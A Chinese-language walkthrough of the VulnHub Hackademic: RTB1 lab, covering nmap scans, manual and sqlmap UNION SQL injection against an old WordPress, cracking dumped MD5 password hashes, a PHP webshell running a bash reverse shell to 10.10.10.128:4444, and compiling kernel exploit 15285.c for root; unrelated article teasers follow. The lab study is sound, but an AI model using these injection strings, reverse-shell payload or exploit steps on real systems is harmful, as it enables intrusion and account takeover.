Linux渗透实战之Hackademic: RTB1靶场提权

0x1 前言

一、浅谈

哈喽师傅们,这次又到了给师傅们分享文章的时候了,这篇文章呢主要是给师傅们以vulnhub中的Hackademic: RTB1靶场,开始使用nmap进行相关渗透测试的操作,端口、目录扫描,得到一个静态的html页面,通过源代码为线索,然后挖掘wordpress的CMS框架漏洞,后面通过SQL注入,以手工和sqlmap注入来演示了SQL注入的一个过程,最后面通过爆破wordpress账户密码,去后台进行上传木马,反弹shell,再进行后面的提权操作。

二、靶机简介

靶机精讲之Hackademic: RTB1,vulnhub靶机,手动SQL注入,小试牛刀,内核提权。读遍牙签三万轴,欲来小邑试牛刀。

靶机下载地址:

https://www.vulnhub.com/entry/hackademic-rtb1,17/

0x2 信息收集

一、主机探测

我们首先利用arp进行主机探测,发现靶机的IP地址是10.10.10.134

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# arp-scan -l

二、端口扫描

利用nmap扫描靶机的端口开放情况,发现只开启了80端口,并且22端口ssh服务还被关闭了,那么目前分析,这个靶场利用找到用户名密码然后ssh远程连接的常规思路是不行了的。

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# nmap -sS -A -p- 10.10.10.134

这将扫描目标主机的UDP协议并列出最常见的20个端口的状态,但是目前看没有发现什么有价值的端口。就目前来看,还是80端口的web服务是最为吸引我们的。

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# nmap -sU --top-ports 20 10.10.10.134

三、漏洞扫描

--script=vuln是nmap自带的漏洞扫描模块,我们简单的利用nmap扫描下漏洞,

也就是扫描到了几个比较老版本的漏洞,比如CVE-2007-6750、CVE-2011-3192等,但是我都上网查了下这几个漏洞的危害,都是类似ddos的让某个http网站访问不了的功能,对应我们这里渗透测试拿root权限来讲,意义不是很大,感兴趣的师傅可以尝试下。

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# nmap --script=vuln -p80 10.10.10.134

0x3 渗透测试+信息收集

一、web服务信息收集

我们这里直接访问IP地址,访问这个web服务,发现是个静态的HTML页面,上面的英文意思就是让我们拿到root权限,然后拿到root目录下的key.txt文件。

这里是静态的HTML页面,一般渗透测试中包括实战中,碰到都是可以右击查看网页源代码的,

目前没有发现什么有价值的信息。

发现这个可以点击看看

然后老规矩查看网页源代码,

这次有收获,发现这个网站是个wordpress 的CMS框架网站,看着版本是1.5.1.1,应该比较低,可能存在漏洞,那么我们就可以借助Google搜素了。

发现EXP里面确实存在这个版本的wordpress漏洞,并且存在sql注入漏洞,那么我们等会多留意下存在参数的地方,然后手工测一下sql注入。

二、SQL注入漏洞

这个页面存在参数,我们利用单引号' 测试下,发现页面没有报错,说明不存在SQL注入

1、手工联合注入

1、这个页面利用单引号' 测试,页面发生了报错,并且还看到了注入语句:

SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1

2、找到了注入点,那么下一步我们就需要尝试获取数据库到底有多少列,利用order by测试。

一直到5都是页面正常,但是到6 的时候页面发生了报错,说明这个数据库就是5列

1 order by 1,2,3,4,5

1 order by 1,2,3,4,5,6

3、接下来我们可以用联合查询的方法进行注入,思考SQL查询语句,我们要保证后台执行我们的联合查询union select语句,这里使用1 发现页面没有回显,那么一般我们就要不改大要不然改小点,反正目的就是为了能有数据回显出来。我这里改成了0。

1 union select 1,2,3,4,5

发现回显了个2,那么说明只有第二列才能回显

0 union select 1,2,3,4,5

因为大家可以看到报错的信息,后面有个LIMIT 1,说明只允许回显一列

4、果然没错,我们在第二列这里回显出来了数据库的版本信息以及数据库名"wordpress"

5、那么我们接着需要报后面的更多信息,主要是要拿到比如账号密码之类的信息

这里我们直接利用Google浏览器检索下面的关键字,因为wordpress CMS框架体系非常成熟,像数据库的很多信息都是一体化的,都是可以找到对应的信息的。

但是前提是我们得找到SQL注入的报错点,然后才能进一步的利用这个漏洞。

wordpress database description

找到 Table: wp_users ,里面有关于用户的具体字段数据

6、我们直接利用group_concat()进行读取数据库里面的字段数据,但是发现账号密码都没有分开,看着很乱,我们这里利用ASCII码的0x2d表示换行的意思,来进行数据的分开操作

group_concat()是一个SQL函数,通常用于将多行查询结果合并为一个字符串,以便更容易获取信息

这里需要补充一个字段就是user_level,这里是看红队大佬的笔记

然后我们进行修改下,可以看到GeorgeMiller用户的权限是最高的,我们这里需要进行提权操作,那么肯定首选权限高的用户。

1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

2、sqlmap脚本小子

红队大佬说的是一般情况下不使用sqlmap脚本跑,除非没有任何思路了,我们使用手工联合注入可以让我们更加清楚这个底层原理,而不是为了拿到root权限当脚本小子,下面使用sqlmap跑我这里不做太多的说明,跑出数据库来即可,要是想用sqlmap的可以自己尝试下。

sqlmap -u "http://10.10.10.134/Hackademic_RTB1/?cat=0" --dbs --batch

三、上传木马,反弹shell

发现密码是MD5加密的

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# hash-identifier "7cbb3252ba6b7e9c422fac5334d22054"

MD5在线解密网站:

https://www.cmd5.org/

解密得到密码是:q1w2e3

登录wordpress后台,像wordpress这种特别成熟的CMS框架,登录页面的目录位置也是固定的

/wp-login.php/目录

你要是不知道,其实这里扫描目录也是可以看到的

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# dirsearch -u http://10.10.10.134/Hackademic_RTB1/ -i 200

输入账号密码GeorgeMiller:q1w2e3即可登录进去了,

像这个wordpress模块的功能也是很熟悉的,因为这个CMS博客框架很普遍了,如果不了解的师傅可以搞个WP博客玩下。

像里面有好几个地方是可以进行漏洞利用的,一个是里面的插件位置,还有一个就是upload文件上传的位置,我们可以上传php木马,然后kali监听,反弹shell。

下面我带师傅们从上传php木马来演示!

1、首先按照下面的顺序点击如下,意思就是允许文件上传,并且允许上传php文件

师傅们要是看不懂,可以用Google翻译下哈,多了解下这个网站的功能点是什么意思,对我们渗透测试很有帮助的!

给大家推荐个写自动化脚本的网站:

https://www.revshells.com/

/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

php木马如下:

<?php exec("/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"); ?>

然后kali进行监听,访问上面的bin.php木马

反弹shell成功了

0x4 提权

一、基本提权+信息收集

一般进入一个用户权限的shell中,一般都会尝试下sudo提权以及SUID提权,还会看历史进程会不会有可以利用的恶意进程,以及history历史命令查看。

二、内核提权

没办法了,一般基本的提权都没用,这里要拿到root权限,那么就必须得尝试下内核提权了。

很多开始学习的师傅们感觉内核提权很简单,调用别人的内核提权脚本直接编译然后执行就可以了,其实实际上并不是的,内核提权是很复杂的,因为需要你从很多脚本中进行筛选,是个细活。

需要渗透测试人员的渗透经验来进行判断。

bash-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

我们使用searchsploit 工具进行检索过滤,发现还是有很多的脚本需要我们进行筛选

┌──(root-kali)-[~/桌面/HackademicRTB1]
└─# searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'

这里我看红队笔记大佬提出排查思路,首先排除特定linux操作系统的漏洞,比如Ubuntu/CentOS/RedHat,这些我们都暂不考虑(因为靶机操作系统不是这些),然后尽可能选择版本范围精确的漏洞。

searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' |grep -v 'Ubuntu' |grep -v 'CentOS' |grep -v 'Debian' |grep -v 'RedHat'

-v是反向查询,也就是把不需要的关键词过滤掉

其实一看还是蛮多的,这里我们先从最匹配的几个开始下手测试下,

就是10018.sh和15285.c这两个脚本。

其中10018.sh这个脚本我先测试的,发现提权没有成功,但是第二次使用15285.c脚本测试成功提权了

我们先把脚本下载到本地,然后通过http服务上传到靶机的/tmp目录下(这个临时目录的权限比较高)

编译15285.c ,然后再提高权限,然后执行改提权脚本,成功拿到root权限

gcc 15285.c -o 15285
chmod -R 777 15285
./15285

三、成功拿到key.txt

sh-4.0# cat key.txt~
cat key.txt~
Yeah!!
You must be proud becouse you ve got the password to complete the First Reallistic Hackademic Challenge (Hackademic.RTB1) :)

$_d&jgQ>>ak\#b"(Hx"o<la_%

Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

0x5 总结

这篇文章到这里就给师傅们分享完毕了,这个靶机还是蛮不错的,一个很完整的渗透测试流程展现出来了,漏洞还是蛮多的,适合大部分师傅们上手操作,本文的wp写的也蛮详细的。
想学习红队相关操作,渗透测试到提权操作的师傅们可以下载下这个靶场,然后去实操下,这个vulnhub靶场的好处就是可以下载到本地环境,然后去操作。最后面祝愿师傅们打靶成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/953196.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot-Day1

1.Springboot入门 创建Maven工程 导入spring-boot-stater-web起步依赖 编写Controller 提供启动类 2.yml配置信息书写与获取 书写 # 发件人信息 email:user: 172349823457qq.comcode: sajdajlwhjfgfkllwhost: smtp.qq.comauth: true ​ # 学生爱好 hobbies:- 打篮球- 踢…

基于扩频解扩+汉明编译码+交织的lora通信系统matlab性能仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核心程序 &#xff08;完整版代码包含详细中文注释和操作步骤视频&#xff09…

针对服务器磁盘爆满,MySql数据库始终无法启动,怎么解决

&#xff08;点击即可进入聊天助手&#xff09; 很多站长在运营网站的过程当中都会遇到一个问题,就是网站突然无法打开,数据一直无法启动 无论是强制重启还是,删除网站内的所有应用,数据库一直无法启动 这个时候,就需要常见的运维手段了,需要对服务器后台各个资源,进行逐一排查…

LeetCode1170 比较字符串最小字母出现频次

字符串算法探秘&#xff1a;最小字母频次统计与比较问题剖析 在编程的世界里&#xff0c;字符串处理问题犹如繁星般繁多且各具特色。今天&#xff0c;我们聚焦于一道饶有趣味的题目&#xff0c;它涉及到对字符串中最小字母出现频次的统计以及基于此的比较操作。这道题不仅考验…

Kafka 分区管理

分区是主题的子集&#xff0c;每个主题可以被分割成多个分区&#xff0c;一个分区有一个主副本&#xff08;Leader&#xff09;及一个或多个从&#xff08;Follower&#xff09;副本。分区允许将数据分布在多个broker上&#xff0c;这样可以提高数据的处理能力、并行性及可靠性…

xcrun: error: invalid active developer path 解决

在拉取 github 代码时&#xff0c;提示如下报错&#xff1a; xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun 原因是&#xff1a;这是由于 Xcode command line t…

2025华数杯国际赛A题完整论文讲解(含每一问python代码+数据+可视化图)

大家好呀&#xff0c;从发布赛题一直到现在&#xff0c;总算完成了2025“华数杯”国际大学生数学建模竞赛A题Can He Swim Faster的完整的成品论文。 本论文可以保证原创&#xff0c;保证高质量。绝不是随便引用一大堆模型和代码复制粘贴进来完全没有应用糊弄人的垃圾半成品论文…

Python 二次元初音未来桌宠

标题 相关资源文件已经打包成EXE文件&#xff0c;可双击直接运行程序&#xff0c;且文章末尾已附上相关源码&#xff0c;以供大家学习交流&#xff0c;博主主页还有更多Python相关程序案例&#xff0c;秉着开源精神的想法&#xff0c;望大家喜欢&#xff0c;点个关注不迷路&…

vue3学习日记5 - 项目起步

最近发现职场前端用的框架大多为vue&#xff0c;所以最近也跟着黑马程序员vue3的课程进行学习&#xff0c;以下是我的学习记录 视频网址&#xff1a; Day2-11.项目起步-静态资源引入和ErrorLen安装_哔哩哔哩_bilibili 学习日记&#xff1a; vue3学习日记1 - 环境搭建-CSDN博…

【Linux系统】—— vim 的使用

【Linux系统】—— vim 的使用 1 vim 的基本概念2 vim 的多模式3 命令模式下的命令集3.1 进入/退出其他模式3.2 光标移动命令集3.3 复制/剪切/粘贴/删除命令集3.4 撤销命令集3.5 查找命令集3.6 替换命令集3.7 进入与退出替换模式 4 批量化编译5 底行模式6 vim 小技巧7 vim简单配…

JAVA实战开源项目:课程智能组卷系统(Vue+SpringBoot) 附源码

本文项目编号 T 009 &#xff0c;文末自助获取源码 \color{red}{T009&#xff0c;文末自助获取源码} T009&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 老…

了解 Ansys Mechanical 中的网格方法:综合指南

网格是每个有限元分析 &#xff08;FEA&#xff09; 仿真的支柱。它将几何图形划分为离散单元&#xff0c;使 Ansys Mechanical 能够近似模型在各种条件下的行为。结构良好的网格可确保准确、可靠和计算高效的结果&#xff0c;而结构不佳的网格可能会导致错误、收敛问题或不必要…

【Linux】深刻理解软硬链接

一.软硬链接操作 1.软连接 touch 创建一个文件file.txt &#xff0c;对该文件创建对应的软链接改怎么做呢&#xff1f; ln -s file.txt file-soft.link .给对应文件创建软连接。 软连接本质就是一个独立的文件&#xff0c;因为我们对应的软连接有独立的inode&#xff0c;他…

施耐德M241与MR30-FBS-MT 在Machine Expert V2.0的组态过程

一、系统概述 MR30分布式IO是一个高度灵活的可扩展分布式 I/O 系统&#xff0c;MR30-FBC-MT用于通过 Modbus TCP 总线将过程信号连接到上一级控制器。 具有以下特点&#xff1a; 结构紧凑 PUSH IN端子&#xff0c;易于安装&#xff0c;布线简单 灵活性高&#xff1a;开关量模…

大数据技术在服饰行业的应用

大数据技术的快速发展为各行各业带来了深刻的变革&#xff0c;本文将详细探讨大数据技术的发展脉络&#xff0c;大数据技术推动服饰企业的数字化转型&#xff0c;旨在为相关领域的研究和实践提供参考。 什么是大数据大数据技术的发展历程大数据在服饰行业的应用总结 1&#xff…

Vue2+OpenLayers添加/删除点、点击事件功能实现(提供Gitee源码)

目录 一、案例截图 二、安装OpenLayers库 三、安装Element-UI 四、代码实现 4.1、添加一个点 4.2、删除所有点 4.3、根据经纬度删除点 4.4、给点添加点击事件 4.5、完整代码 五、Gitee源码 一、案例截图 可以新增/删除标记点&#xff0c;点击标记点可以获取到当前标…

Windows 10 ARM工控主板连接I2S音频芯片

在Windows工控主板应用中&#xff0c;音频功能是一项基本的需求&#xff0c;USB声卡在x86/x64 Windows系统上就可直接免驱使用&#xff0c;但这些USB声卡通常不提供ARM上的Windows系统驱动。本文将介绍如何利用安装在ARM上的Windows工控主板——ESM8400的I2S接口、连接WM8960音…

【Rust】错误处理机制

目录 思维导图 引言 一、错误处理的重要性 1.1 软件中的错误普遍存在 1.2 编译时错误处理要求 二、错误的分类 2.1 可恢复错误&#xff08;Recoverable Errors&#xff09; 2.2 不可恢复错误&#xff08;Unrecoverable Errors&#xff09; 三、Rust 的错误处理机制 3…

提升租赁效率的租赁小程序全解析

内容概要 在如今快节奏的生活中&#xff0c;租赁小程序俨然成为了提升租赁效率的一把利器。无论是个人还是企业&#xff0c;都会因其便捷的功能而受益。简单来说&#xff0c;租赁小程序能让繁琐的租赁流程变得轻松、高效。在这里&#xff0c;我们将带您畅游租赁小程序的海洋&a…

SSM商城设计与实现

摘 要 本文的主要工作是对基于B/S模式及JSP技术的基于智能推荐的b2c销售网站进行了研究与设计。本文首先介绍了基于智能推荐的b2c销售网站的背景&#xff0c;分析比较了国内外相关基于智能推荐的b2c销售网站的运行模式、系统特点与开发技术。然后分析了目前热点的各种Web应用开…